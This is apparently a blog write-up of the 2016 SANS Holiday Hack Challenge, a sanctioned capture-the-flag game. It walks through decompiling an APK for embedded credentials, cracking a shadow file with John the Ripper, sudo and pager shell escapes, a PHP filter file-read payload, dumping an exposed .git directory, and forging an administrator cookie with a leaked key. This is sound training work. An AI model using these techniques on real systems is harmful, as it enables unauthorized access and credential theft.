2016 SANS Holiday Hack Challenge

Posted by Nikolai Magnussen on January 4, 2017

Part 1: A Most Curious Business Card

Right after we are thrown into the game, we are presented with Santa’s business card, which is linking to his twitter and instagram:

1) What is the secret message in Santa’s tweets?

Looking through Santa’s tweets, they seem to form some pattern, so let’s extract them from the website. Lacking an API key, I choose to do this in a hacky manner; by first scrolling to the bottom of Santa’s twitter feed so all his tweets are loaded.

Then, I fired up the firefox Inspector and copied the inner HTML of the stream element containing all the tweets, and dumped the contents into a file for further processing. The twitter dump contain large amounts of empty lines and other uninteresting information; in fact, the dumped file is 76K lines. Luckily, the tweet text has it’s own CSS-class, namely tweet-text, which mean that we can filter away everything else.

❯ grep "tweet-text" twitter.dump


This yield the following: Which certanly looks like a Y, and is only the last letter, and between each tweet line is a div opening tag, which should be removed by:

❯ grep "tweet-text" twitter.dump | sed -e "/<div.*>/d" > tweets.dump
❯ less tweets.dump


Rotating the output yield the following:

And we can easily see that the secret message in Santa’s tweets is:

BUG BOUNTY

2) What is inside the ZIP file distributed by Santa’s team?

Let’s take look at Santa’s instagram photos. The first image is interesting, and after extracting the image URL, we can more easily look at it:

On the computer screen, we can see DestinationPath SantaGram_v4.2.zip, and a nmap of www.northpolewonderland.com. So let’s try and combine the two by:

❯ wget www.northpolewonderland.com/SantaGram_v4.2.zip
--2017-01-04 16:22:38--  http://www.northpolewonderland.com/SantaGram_v4.2.zip
Resolving www.northpolewonderland.com (www.northpolewonderland.com)... 130.211.124.143
Connecting to www.northpolewonderland.com (www.northpolewonderland.com)|130.211.124.143|:80
HTTP request sent, awaiting response... 200 OK
Length: 1963026 (1.9M) [application/zip]
Saving to: ‘SantaGram_v4.2.zip’

2017-01-04 16:22:43 (468 KB/s) - ‘SantaGram_v4.2.zip’ saved [1963026/1963026]


Lo and behold, we got a file, so now we want to unzip it to see it’s contents:

❯ unzip SantaGram_v4.2.zip
Archive:  SantaGram_v4.2.zip


Let’s try to use the secret message from Santa as the password. After a number of combinations, I try bugbounty, which yield the decompressed SantaGram_4.2.apk.

Thus, the answer to the question is the ZIP file contains an APK file named SantaGram_4.2.apk.

Part 2: Awesome Package Konveyance

Now that we have the apk, we have to get the contents. This can be achieved in multiple ways, and one of which, I will show. First, we need to know that apk files are actually very closely related to zip files, and can also be extracted like one:

❯ file SantaGram_4.2.apk
SantaGram_4.2.apk: Zip archive data, at least v2.0 to extract
❯ mv SantaGram_4.2.apk SantaGram_4.2.apk.zip
❯ unzip SantaGram_4.2.apk.zip
Archive:  SantaGram_4.2.apk.zip
inflating: AndroidManifest.xml
inflating: META-INF/CERT.RSA
.... Lines removed for brevity ....


Now we have the contents of the APK:

❯ l
total 1.7M
drwxr-xr-x  5 nikolai nikolai 4.0K Jan  4 17:20 .
drwx------ 66 nikolai nikolai 4.0K Jan  4 17:21 ..
-rw-rw-rw-  1 nikolai nikolai 5.7K Dec 31  1979 AndroidManifest.xml
drwxr-xr-x  2 nikolai nikolai 4.0K Jan  4 17:19 assets
-rw-r--r--  1 nikolai nikolai 1.5M Dec 31  1979 classes.dex
drwxr-xr-x  2 nikolai nikolai 4.0K Jan  4 17:19 META-INF
drwxr-xr-x 30 nikolai nikolai 4.0K Jan  4 17:19 res
-rw-rw-rw-  1 nikolai nikolai 223K Dec 31  1979 resources.arsc


The code and classes are contained in the classes.dex file, which can be extracted using dex2jar as such:

❯ dex2jar classes.dex
dex2jar classes.dex -> ./classes-dex2jar.jar


And jar files, too are very closely related to zip files, and can be handled in the same manner:

❯ file classes-dex2jar.jar
classes-dex2jar.jar: Zip archive data, at least v1.0 to extract
❯ mv classes-dex2jar.jar classes-dex2jar.jar.zip
❯ unzip classes-dex2jar.jar.zip
Archive:  classes-dex2jar.jar.zip
inflating: a/a.class
inflating: a/b$1.class inflating: a/b$a.class
.... Lines removed for brevity ....


These class files contain java bytecode and can be decompiled using a java decompiler, and I will be using jad recursively into a newly created directory:

❯ jad -d classes_decompiled -s java -r **/*.class
Parsing a/a.class...The class file version is 50.0 (only 45.3, 46.0 and 47.0 are supported)
Generating classes_decompiled/a/a.java
Parsing a/b.class...The class file version is 50.0 (only 45.3, 46.0 and 47.0 are supported)
Parsing inner class a/b$a.class...The class file version is 50.0 (only 45.3, 46.0 and 47.0 are supported) Parsing inner class a/b$1.class...The class file version is 50.0 (only 45.3, 46.0 and 47.0 are supported)
Generating classes_decompiled/a/b.java
.... Lines removed for brevity ....


Now, the contents of the decompiled java can be found in the directory classes_decompiled.

3) What username and password are embedded in the APK file?

Because the username and password are embedded in the APK file, we want a tool for searching through the java files for the password and the username. I choose to use ripgrep which is a Rust tool written for very fast source code search, but grep can also be used:

❯ rg password
com/parse/ParseUser.java
420:            throw new IllegalArgumentException("Must specify a password for the user to log in with");
.... Lines removed for brevity ....
com/northpolewonderland/santagram/SplashScreen.java

com/northpolewonderland/santagram/b.java
.... Lines removed for brevity ....


From which, we see that the password is busyreindeer78.

Extracting the username is done in the same manner:

❯ rg username
com/northpolewonderland/santagram/SplashScreen.java

com/northpolewonderland/santagram/b.java
.... Lines removed for brevity ....


And it seem that the username is guest.

Thus, the embedded username is guest and password is busyreindeer78.

4) What is the name of the audible component (audio file) in the SantaGram APK file?

Because the audio file is an audible component of the APK, it should be refered to by at least one file, so let’s go back to the root directory of the APK and search known audio files; the most obvious being mp3:

❯ rg mp3
META-INF/CERT.SF
702:Name: res/raw/discombobulatedaudio1.mp3

META-INF/MANIFEST.MF
701:Name: res/raw/discombobulatedaudio1.mp3


Based on the question and the file names, this seem to be the corret file, meaning the name of the audible component is:

discombobulatedaudio1.mp3

Part 3: A Fresh-Baked Holiday Pi

After going through the portal in Santa’s sack, you end up on the north pole, where Holly Evergreen is waiting for you and tells you:

Then, we should start looking for the pieces; whatever they may be. After you walk into town and talk to one of the elves you get to know that you are looking for pieces of a Cranberri Pi:

And at the far west, and a little south, you find Elf House 1:

And inside the Secret Fireplace Room you find part 1/5, namely the Cranberry Pi Board:

The first house on the east side of the bridge into town is Elf House 2, and if you take the stairs up to the second floor, you will find the Heatsink, which is part 2/5:

Located just north of the christmas tree, behind the snowman you will find the Power Cord, which is part 3/5:

Climbing up the ladders to the top, the workshop is discovered, and on the west side, you will see part 4/5, which is the SD Card:

Finally, walking into the workshop and down the stairs, you will find the final part, the HDMI Cable:

Now that all parts are located, we return to Holly for some information:

❯ unzip cranbian.img.zip
Archive:  cranbian.img.zip
inflating: cranbian-jessie.img


5) What is the password for the “cranpi” account on the Cranberry Pi system?

Now that we have the image, we want to retrieve the password for the account “cranpi”.

The cranbian-jessie.img is simply a dump of the disk, meaning it will contain a partition table and partitions that can be mounted. Lets use fdisk:

❯ fdisk cranbian-jessie.img                                                                                                          ⏎

Welcome to fdisk (util-linux 2.28.2).
Changes will remain in memory only, until you decide to write them.
Be careful before using the write command.

Command (m for help): p
Disk cranbian-jessie.img: 1.3 GiB, 1389363200 bytes, 2713600 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0x5a7089a1

Device               Boot  Start     End Sectors  Size Id Type
cranbian-jessie.img1        8192  137215  129024   63M  c W95 FAT32 (LBA)
cranbian-jessie.img2      137216 2713599 2576384  1.2G 83 Linux


This mean that the second partition can be mounted and will contain the root file system. For this, we use mount with the offset option, and the offset is calculated as sector size * start sector, which here will be:

❯ python -c "print(512 * 137216)"
70254592


Meaning that we can mount using:

❯ sudo mount -v -o offset=70254592 -t ext4 cranbian-jessie.img /mnt/device
mount: /dev/loop0 mounted on /mnt/device.
❯ ls /mnt/device
bin  boot  dev  etc  home  lib  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var


And we have succesfully mounted the partition. Now, we just have to crack the password. As most if not all modern linux kernels, two files are used for user authentication;

• /etc/passwd which contain information such as username, uid, gid, home directory
• /etc/shadow which among other things contain the username along with hashed passwords.

But the password is hashed, and we have to crack the password, where John The Ripper can be of assistance, as well as the RockYou wordlist. So we have to get the RockYou wordlist:

❯ wget https://downloads.skullsecurity.org/passwords/rockyou.txt.bz2
HTTP request sent, awaiting response... 200 OK
Length: 60498886 (58M) [application/octet-stream]
Saving to: ‘rockyou.txt.bz2’

2017-01-04 21:53:03 (128 KB/s) - ‘rockyou.txt.bz2’ saved [60498886/60498886]
❯ bunzip2 rockyou.txt.bz2


But before we run john, we have to combine /etc/passwd and /etc/shadow by using unshadow, which is a part of the John the ripper toolkit:

❯ sudo unshadow /mnt/device/etc/passwd /mnt/device/etc/shadow > unshadowed.db
❯ john --wordlist=rockyou.txt unshadowed.db
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 64/64 OpenSSL])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1g 0:00:04:32 DONE (2017-01-04 22:02) 0.003672g/s 1668p/s 1668c/s 1668C/s yves69..yoyojojo


The password for the cranpi account on the Cranberry Pi is yummycookies.

6) How did you open each terminal door and where had the villain imprisoned Santa?

After cracking the password, we have to tell the password to Holly that tells us that we can now access the terminals around the town:

First, we go to Elf House 2:

And accessing the terminal promt us with:

*******************************************************************************
*                                                                             *
*To open the door, find both parts of the passphrase inside the /out.pcap file*
*                                                                             *
*******************************************************************************


Upon inspection of the root directory we get:

scratchy@7359d0309dd1:/$ls -lah total 1.2M drwxr-xr-x 46 root root 4.0K Jan 4 21:22 . drwxr-xr-x 46 root root 4.0K Jan 4 21:22 .. -rwxr-xr-x 1 root root 0 Jan 4 21:22 .dockerenv drwxr-xr-x 2 root root 4.0K Dec 1 21:18 bin drwxr-xr-x 2 root root 4.0K Sep 12 04:09 boot drwxr-xr-x 5 root root 380 Jan 4 21:22 dev drwxr-xr-x 46 root root 4.0K Jan 4 21:22 etc drwxr-xr-x 5 root root 4.0K Dec 7 20:22 home drwxr-xr-x 10 root root 4.0K Dec 1 21:18 lib drwxr-xr-x 2 root root 4.0K Nov 4 18:29 lib64 drwxr-xr-x 2 root root 4.0K Nov 4 18:28 media drwxr-xr-x 2 root root 4.0K Nov 4 18:28 mnt drwxr-xr-x 2 root root 4.0K Nov 4 18:28 opt -r-------- 1 itchy itchy 1.1M Dec 2 15:05 out.pcap dr-xr-xr-x 350 root root 0 Jan 4 21:22 proc drwx------ 2 root root 4.0K Nov 4 18:28 root drwxr-xr-x 3 root root 4.0K Nov 4 18:28 run drwxr-xr-x 2 root root 4.0K Nov 4 18:30 sbin drwxr-xr-x 2 root root 4.0K Nov 4 18:28 srv dr-xr-xr-x 13 root root 0 Dec 14 14:13 sys drwxrwxrwt 2 root root 4.0K Dec 7 20:22 tmp drwxr-xr-x 15 root root 4.0K Dec 1 21:18 usr drwxr-xr-x 17 root root 4.0K Dec 2 15:13 var  Which mean that only root or itchy can read the out.pcap file. Let’s see if we can use sudo: scratchy@7359d0309dd1:/$ sudo -l
sudo: unable to resolve host 7359d0309dd1
Matching Defaults entries for scratchy on 7359d0309dd1:
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User scratchy may run the following commands on 7359d0309dd1:
(itchy) NOPASSWD: /usr/sbin/tcpdump
(itchy) NOPASSWD: /usr/bin/strings


Which mean that we can use both tcpdump and strings as itchy without a password. Let’s first try to use strings:

scratchy@7359d0309dd1:/$sudo -u itchy strings out.pcap | more sudo: unable to resolve host 7359d0309dd1 ZAX< ZAX} ZAX, BGET /firsthalf.html HTTP/1.1 User-Agent: Wget/1.17.1 (darwin15.2.0) Accept: */* Accept-Encoding: identity Host: 192.168.188.130 Connection: Keep-Alive ZAX2 4hf@ Ehg@ OHTTP/1.0 200 OK .... Lines removed for brevity .... <head></head> <body> <form> <input type="hidden" name="part1" value="santasli" /> </form> </body> </html> 4hm@ ZAXW @2/@ DGET /secondhalf.bin HTTP/1.1 User-Agent: Wget/1.17.1 (darwin15.2.0) Accept: */* Accept-Encoding: identity Host: 192.168.188.130 Connection: Keep-Alive .... Lines removed for brevity ....  Which mean that the password is divided into two parts, one that is contained in the hidden field of the firsthalf.html document and has the value santasli. Further, we see that the second part is a binary file, which can’t be extracted using strings, and we have to use tcpdump. But because I am not very comfortable with tcpdump and prefer wireshark, I will extract the data from the system using base64: scratchy@6b813b8d621f:/$ sudo -u itchy tcpdump -r /out.pcap -w /tmp/out.pcap
scratchy@6b813b8d621f:/$base64 < /tmp/out.pcap uXglCtLvSmxqv+NCJzAfwV+kpJvaVgEEBpoN7ObDn8y+taO2xSArMx0qSKhwZUJ5nqa3aN9deG0C Gsv5Zyov5FvP7OLMPWtpHWxe1oAz/jrblGKWa4Blp8e5BZgUX/cca3qAW0VWPjg07CR5vN53EMJc .... Lines removed for brevity ....  Using Chromium’s Developer Tools, each line that will be printed to the terminal will also be logged to the console, where it can be saved. After the file is saved, the data must be extracted: ❯ base64 -d -i < out.pcap.base64 > out.pcap  Upon viewing this in Wireshark, missing packets are reported. When following the TCP stream, saving it to a file and removing the response header, binwalk discover nothing, as well as the content length being much greater than the size of the actual data. I then resorted to guessing that the password would be santaslittlehelper, which was correct. Next up is the terminal leading to the second floor of the Workshop: Accessing the terminal prompt us with: ******************************************************************************* * * * To open the door, find the passphrase file deep in the directories. * * * *******************************************************************************  Let’s first try to find something that contain either pass, secret or a .txt-file: elf@e00c10ed7762:~$ find . -iname "*pass*"
elf@e00c10ed7762:~$find . -iname "*secret*" ./.doormat/. / /\/\\/Don't Look Here!/secret elf@e00c10ed7762:~$ find . -iname "*.txt"
./.doormat/. / /\/\\/Don't Look Here!/You are persistent, aren't you?/'/key_for_the_door.txt


My best hunch is that key_for_the_door.txt is the winner, so let’s try to get it’s content:

elf@b2faeb120ffa:~$cat .doormat/.\ /\ /\\/\\\\/Don\'t\ Look\ Here\!/You\ are\ persistent,\ aren\'t\ you?/\'/key_for_the_door.txt key: open_sesame  And the passphrase is open_sesame. Next up is the terminal inside Santa’s office: ![Santa office](http://thoughts.magnussen.tf/assets/2017/01/04/2016-SANS-Holiday-Hack-Challenge/place_santa_office.png Accesing the terminaly, you are met with the line GREETINGS PROFESSOR FALKEN, wheras you shoud reply according to the movie WarGames which is highly recomended to watch if you have not done so yet, and if you have, you should rewatch it! If we finish the conversation, we get the key: GREETINGS PROFESSOR FALKEN. Hello. HOW ARE YOU FEELING TODAY? I'm fine. How are you? EXCELLENT, IT'S BEEN A LONG TIME. CAN YOU EXPLAIN THE REMOVAL OF YOUR USER ACCOUNT ON 6/ 23/73? People sometimes make mistakes. YES THEY DO. SHALL WE PLAY A GAME? Love to. How about Global Thermonuclear War? WOULDN'T YOU PREFER A GOOD GAME OF CHESS? Later. Let's play Global Thermonuclear War. FINE ,------~~v,_ _ _--^\ |' \ ,__/ || _/ /,_ _ / \,/ / ,, _,,/^ v v-___ | / |'~^ \ \ | _/ _ _/^ \ / / ,~~^/ | ^~~_ _ _ / | __,, _v__\ \/ '~~, , ~ \ \ ^~ / ~ // \/ \/ \~, ,/ ~~ UNITED STATES SOVIET UNION WHICH SIDE DO YOU WANT? 1. UNITED STATES 2. SOVIET UNION PLEASE CHOOSE ONE: 2 AWAITING FIRST STRIKE COMMAND ----------------------------- PLEASE LIST PRIMARY TARGETS BY CITY AND/OR COUNTRY NAME: Las Vegas LAUNCH INITIATED, HERE'S THE KEY FOR YOUR TROUBLE: LOOK AT THE PRETTY LIGHTS Press Enter To Continue  Which gives us the key LOOK AT THE PRETTY LIGHTS. Now, we head to the door to the right of the reindeers: Where we are greeted with: ******************************************************************************* * * * Find the passphrase from the wumpus. Play fair or cheat; it's up to you. * * * *******************************************************************************  We decide to cheat, and the easy way is to simply extract the binary to the host machine by using base64: elf@0cd3bf69f734:~$ base64 < wumpus
f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAMAxAAAAAAABAAAAAAAAAAKBkAAAAAAAAAAAAAEAAOAAJ
.... Lines removed for brevity ....


After the binary is extracted to the host machine, we can run it using GDB:

❯ gdb wumpus
GNU gdb (GDB) 7.12
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-pc-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from wumpus...(no debugging symbols found)...done.
gdb-peda$ And by using GDB’s autocomplete feature for function names that we can call, we see that there exist two functions that deal with wump, namely kill_wump and wump_kill, where one is the player being killed, and the other wumpus being killed. gdb-peda$ call
Display all 132 possibilities? (y or n)
.... Lines removed for brevity ....
initialize_things_in_cave      shoot
instructions                   shoot_self
int_compare                    srandom
isatty                         srandom@plt
isatty@plt                     stderr
jump                           stderr@@GLIBC_2.2.5
kill_wump                      stdin
lastchance                     stdin@@GLIBC_2.2.5
level                          stdout
malloc@plt                     wump_kill
move_to                        wump_nearby
move_wump                      wumpus_loc
.... Lines removed for brevity ....
gdb-peda$start Temporary breakpoint 1, 0x0000000000400d2a in main () gdb-peda$ call kill_wump()
*thwock!* *groan* *crash*

A horrible roar fills the cave, and you realize, with a smile, that you
have slain the evil Wumpus and won the game!  You don't want to tarry for
long, however, because not only is the Wumpus famous, but the stench of
dead Wumpus is also quite well known, a stench plenty enough to slay the
mightiest adventurer at a single whiff!!

Passphrase:
WUMPUS IS MISUNDERSTOOD
$2 = 0x18  And we can see that the passphrase is WUMPUS IS MISUNDERSTOOD. Lastly, we have the train station: Activating the train terminal, we are greeted with a Train Managment Console: Train Management Console: AUTHORIZED USERS ONLY ==== MAIN MENU ==== STATUS: Train Status BRAKEON: Set Brakes BRAKEOFF: Release Brakes START: Start Train HELP: Open the help document QUIT: Exit console menu:main>  If we drop into help, we get the help served in less, which mean that we can run commands from it the same way as with vim; by starting with :!: :!ls ActivateTrain TrainHelper.txt Train_Console !done (press RETURN) :!./ActivateTrain Press Enter to initiate time travel sequence.  The train is a time-machine!, and we are traveling back to 1978, where Holly also stood: After searching around the town, you finally discover Santa in his Dungeon For Errant Reindeer (DFER) in his Workshop: The passwords to the terminals are: • Elf House 2: santaslittlehelper • To Santa’s office: open_sesame • Bookshelf in Santa’s office: LOOK AT THE PRETTY LIGHTS • Stables: WUMPUS IS MISUNDERSTOOD Part 4: My Gosh… It’s Full of Holes By uploading the APK to Fallible, we get a few API’s: Which boil down to the following servers: • analytics.northpolewonderland.com • ads.northpolewonderland.com • dev.northpolewonderland.com • dungeon.northpolewonderland.com • ex.northpolewonderland.com Which can be resolved by: ❯ drill analytics.northpolewonderland.com ;; ANSWER SECTION: analytics.northpolewonderland.com. 1800 IN A 104.198.252.157 ❯ drill ads.northpolewonderland.com ;; ANSWER SECTION: ads.northpolewonderland.com. 1800 IN A 104.198.221.240 ❯ drill dev.northpolewonderland.com ;; ANSWER SECTION: dev.northpolewonderland.com. 1799 IN A 35.184.63.245 ❯ drill dungeon.northpolewonderland.com ;; ANSWER SECTION: dungeon.northpolewonderland.com. 1800 IN A 35.184.47.139 ❯ drill ex.northpolewonderland.com ;; ANSWER SECTION: ex.northpolewonderland.com. 1800 IN A 104.154.196.33  When asking Tom Hessman about these IP’s, we get the green light for all of them: 7) Which vulnerabilities did you discover and exploit? Dungeon Talking to Pepper Minstix, we get a copy of the game Dungeon, located here First, we have to get it and unzip it: ❯ wget northpolewonderland.com/dungeon.zip --2017-01-05 03:35:22-- http://northpolewonderland.com/dungeon.zip Resolving northpolewonderland.com (northpolewonderland.com)... 130.211.124.143 Connecting to northpolewonderland.com (northpolewonderland.com)|130.211.124.143|:80 HTTP request sent, awaiting response... 200 OK Length: 179226 (175K) [application/zip] Saving to: ‘dungeon.zip’ 2017-01-05 03:35:24 (143 KB/s) - ‘dungeon.zip’ saved [179226/179226] ❯ unzip dungeon Archive: dungeon.zip creating: dungeon/ inflating: dungeon/dtextc.dat inflating: dungeon/dungeon  Dungeon has a built-in debugger, which is accessed from within the game using the GDT command, as referenced here: ❯ ./dungeon chroot: No such file or directory Welcome to Dungeon. This version created 11-MAR-78. You are in an open field west of a big white house with a boarded front door. There is a small wrapped mailbox here. >GDT GDT>help Valid commands are: AA- Alter ADVS DR- Display ROOMS AC- Alter CEVENT DS- Display state AF- Alter FINDEX DT- Display text AH- Alter HERE DV- Display VILLS AN- Alter switches DX- Display EXITS AO- Alter OBJCTS DZ- Display PUZZLE AR- Alter ROOMS D2- Display ROOM2 AV- Alter VILLS EX- Exit AX- Alter EXITS HE- Type this message AZ- Alter PUZZLE NC- No cyclops DA- Display ADVS ND- No deaths DC- Display CEVENT NR- No robber DF- Display FINDEX NT- No troll DH- Display HACKS PD- Program detail DL- Display lengths RC- Restore cyclops DM- Display RTEXT RD- Restore deaths DN- Display switches RR- Restore robber DO- Display OBJCTS RT- Restore troll DP- Display parser TK- Take  Because I do not know where I should end up, I want to enumerate all the rooms, and we can see that it is possible to change many things, including the room. The rooms are numbered in an ordered fashion starting from 0 and going up. We can activate GDT to pick a room, then leave GDT and look, which repeats, but with a changing room number: ❯ cat crawl.py #!/usr/bin/python for i in range(1000): print("gdt") print("ah") print(i) print("ex") print("l") ❯ ./crawl.py | ./dungeon Welcome to Dungeon. This version created 11-MAR-78. You are in an open field west of a big white house with a boarded front door. There is a small wrapped mailbox here. >GDT>Old= 2 New= GDT>>It is pitch dark. You are likely to be eaten by a grue. >GDT>Old= 0 New= GDT>>It is pitch dark. You are likely to be eaten by a grue. >GDT>Old= 1 New= GDT>>You are in an open field west of a big white house with a boarded front door. There is a small wrapped mailbox here. .... Lines removed for brevity ....  Searching through this output, we find: >GDT>Old= 191 New= GDT>>You have mysteriously reached the North Pole. In the distance you detect the busy sounds of Santa's elves in full production. You are in a warm room, lit by both the fireplace but also the glow of centuries old trophies. On the wall is a sign: Songs of the seasons are in many parts To solve a puzzle is in our hearts Ask not what what the answer be, Without a trinket to satisfy me. The elf is facing you keeping his back warmed by the fire.  Which mean that we must give something to the elf, so we have to look more through the results of the enumeration, and among other items, we find: >GDT>Old= 79 New= GDT>>You are in a large room with a prominent doorway leading to a down staircase. To the west is a narrow twisting tunnel. Above you is a large dome painted with scenes depicting elvish hacking rites. Up around the edge of the dome (20 feet up) is a wooden railing. In the center of the room there is a white marble pedestal. Sitting on the pedestal is a flaming torch, made of ivory.  And if we try to give that torch to the elf, we get the following game: ❯ ./dungeon Welcome to Dungeon. This version created 11-MAR-78. You are in an open field west of a big white house with a boarded front door. There is a small wrapped mailbox here. >gdt GDT>ah Old= 2 New= 80 GDT>ex >take torch Taken. >gdt GDT>ah Old= 80 New= 192 GDT>ex >give elf torch The elf, satisified with the trade says - Try the online version for the true prize The elf says - you have conquered this challenge - the game will now end. Your score is 14 [total of 585 points], in 2 moves. This gives you the rank of Beginner. The game is over.  We have the game server, but which port? Let’s nmap it: ❯ nmap -sC 35.184.47.139 Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-05 04:08 CET Nmap scan report for 139.47.184.35.bc.googleusercontent.com (35.184.47.139) Host is up (0.15s latency). Not shown: 995 closed ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 1024 c0:5a:84:94:cf:6f:b9:23:c8:23:32:66:2d:e2:e7:6e (DSA) | 2048 c4:cf:f2:c3:c5:63:26:bb:34:ab:b6:fe:a0:73:91:49 (RSA) |_ 256 78:4a:3e:2f:24:d1:14:eb:6e:53:7d:5a:6c:0a:42:af (ECDSA) 25/tcp filtered smtp 80/tcp open http |_http-title: About Dungeon 11111/tcp open vce 13456/tcp filtered unknown  Let’s try to connect to the server using netcat: ❯ nc 35.184.47.139 11111 >give elf torch The elf, satisified with the trade says - send email to "peppermint@northpolewonderland.com" for that which you seek. The elf says - you have conquered this challenge - the game will now end.  After sending an e-mail to peppermint@northpolewonderland.com, you receive a file named discombobulatedaudio3.mp3. We figure out this site uses the Meteor framework. By using the Meteor Miner script, we see that there is a collection called HomeQuotes. This can accessed by simply calling HomeQuotes.find().fetch() in my web-browser’s javascript console. And the url is located in the last object: http://ads.northpolewonderland.com/ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3 Uncaught Exception Handler Here, we can use PHP filter to try and extract information by reading the crash dump. This can be achieved by performing the following request: POST /exception.php HTTP/1.1 Host: ex.northpolewonderland.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/json Connection: close Upgrade-Insecure-Requests: 1 Content-Length: 124 { "operation": "ReadCrashDump", "data": { "crashdump": "php://filter/convert.base64-encode/resource=exception" } }  Which will yield the following response: <?php # Audio file from Discombobulator in webroot: discombobulated-audio-6-XyzE3N9YqKNH.mp3 # Code from http://thisinterestsme.com/receiving-json-post-data-via-php/ # Make sure that it is a POST request. if(strcasecmp($_SERVER['REQUEST_METHOD'], 'POST') != 0){
die("Request method must be POST\n");
}


Debug Server

We have to enable debugging in the APK by using:

apktool d SantaGram.apk
vim res/values/strings.xml


And set false to true in the XML before repacking the APK:

apktool b -f .SantaGram_4.2 -o heckd


Before we deploy the apk, we have to sign it:

mkdir keys
keytool -genkey -v -keystore keys/heckd.keystore -alias lol -keyalg RSA -keysize 1024 -sigalg SHA1withRSA -validity 10000
jarsigner -sigalg SHA1withRSA -digestalg SHA1 -keystore keys/hekd.keystore ./hekd.apk hekd


After deploying it and proxying through Burp, we get the following request:

POST /index.php HTTP/1.1
Content-Type: application/json
User-Agent: Dalvik/2.1.0 (Linux; U; Android 5.0; Google Nexus 4 - 5.0.0 - API 21 - 768x1280_1 Build/LRX21M)
Host: dev.northpolewonderland.com
Connection: close
Accept-Encoding: gzip
Content-Length: 144

{"date":"20161227224804-0500","udid":"8dce4456f734bf81","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":85719500}


Which get the following response:

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Wed, 28 Dec 2016 03:48:05 GMT
Content-Type: application/json
Connection: close
Content-Length: 250

{"date":"20161228034805","status":"OK","filename":"debug-20161228034805-0.txt","request":{"date":"20161227224804-0500","udid":"8dce4456f734bf81","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":85719500,"verbose":false}}


So, what if we try to set verbose to truein our next request? The we get some more information:

HTTP/1.1 200 OK
Server: nginx/1.6.2
Date: Wed, 28 Dec 2016 03:51:32 GMT
Content-Type: application/json
Connection: close
Content-Length: 719

{"date":"20161228035132","date.len":14,"status":"OK","status.len":"2","filename":"debug-20161228035132-0.txt","filename.len":26,"request":{"date":"20161227224804-0500","udid":"8dce4456f734bf81","debug":"com.northpolewonderland.santagram.EditProfile, EditProfile","freemem":0,"verbose":true},"files":["debug-20161224235959-0.mp3","debug-20161228033632-0.txt","debug-20161228033648-0.txt","debug-20161228033732-0.txt","debug-20161228033753-0.txt","debug-20161228033818-0.txt","debug-20161228034635-0.txt","debug-20161228034805-0.txt","debug-20161228034916-0.txt","debug-20161228035048-0.txt","debug-20161228035050-0.txt","debug-20161228035052-0.txt","debug-20161228035122-0.txt","debug-20161228035132-0.txt","index.php"]}


In the files array, we see different files, and among them, an audio file.

Mobile Analytics - credentialed login

We use the credetials we found in the APK; username guest and password busyreindeer78, and simply click the MP3 link in the navigation bar. Then we get access to an audio file named discombobulatedaudio2.mp3.

Mobile Analytics - post authentication

First we nmap the server:

❯ nmap -sC 104.198.252.157
Starting Nmap 7.40 ( https://nmap.org ) at 2017-01-05 05:09 CET
Nmap scan report for 157.252.198.104.bc.googleusercontent.com (104.198.252.157)
Host is up (0.20s latency).
Not shown: 998 filtered ports
PORT    STATE SERVICE
22/tcp  open  ssh
| ssh-hostkey:
|   1024 5d:5c:37:9c:67:c2:40:94:b0:0c:80:63:d4:ea:80:ae (DSA)
|   2048 f2:25:e1:9f:ff:fd:e3:6e:94:c6:76:fb:71:01:e3:eb (RSA)
|_  256 4c:04:e4:25:7f:a1:0b:8c:12:3c:58:32:0f:dc:51:bd (ECDSA)
443/tcp open  https
| http-git:
|   104.198.252.157:443/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: Finishing touches (style, css, etc)
| http-title: Sprusage Usage Reporter!
|_Requested resource was login.php
| ssl-cert: Subject: commonName=analytics.northpolewonderland.com
| Subject Alternative Name: DNS:analytics.northpolewonderland.com
| Not valid before: 2016-12-07T17:35:00
|_Not valid after:  2017-03-07T17:35:00
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_  http/1.1


And get that there is a git repository there, so we download it, and restore the deleted files:

❯ wget -r --no-parent https://analytics.northpolewonderland.com/.git/
❯ cd analytics.northpolewonderland.com
❯ git checkout -- .


We see that edit.php is only accessible for the administrator user, but the code for generating the cookies is also available for us, so we can create our own:

<?php

define('KEY', "\x61\x17\xa4\x95\xbf\x3d\xd7\xcd\x2e\x0d\x8b\xcb\x9f\x79\xe1\xdc");

function decrypt($data) { return mcrypt_decrypt(MCRYPT_ARCFOUR, KEY,$data, 'stream');
}
function encrypt($data) { return mcrypt_encrypt(MCRYPT_ARCFOUR, KEY,$data, 'stream');
}

$cookie = "82532b2136348aaa1fa7dd2243da1cc9fb13037c49259e5ed70768d4e9baa1c80b97fee8bca82880fc78ba78c49e0753b14348637bec";$kake = json_decode(decrypt(pack("H*",$cookie)), true); var_dump($kake);
$shit['username'] = "administrator"; var_dump($kake);
